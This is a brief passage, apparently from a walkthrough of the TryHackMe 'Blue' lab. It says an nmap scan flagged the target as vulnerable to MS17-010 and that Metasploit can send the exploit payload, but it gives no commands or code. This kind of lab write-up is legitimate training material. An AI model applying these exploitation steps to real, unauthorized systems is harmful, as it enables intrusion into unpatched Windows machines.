Deploy the machine from this link: TryHackME blue And if you have not signed up yet, what are you waiting for! Sign up Already! TryHackMe

Exploiting this kind of vulnerability is very simple.All you have to do is start metasploit framework and send the required payload to the target system.

I am assuming that you already have nmap scanned your target machine.These are my scan results : You can see that nmap points out that specified machine is vulnerable to ms 17–010
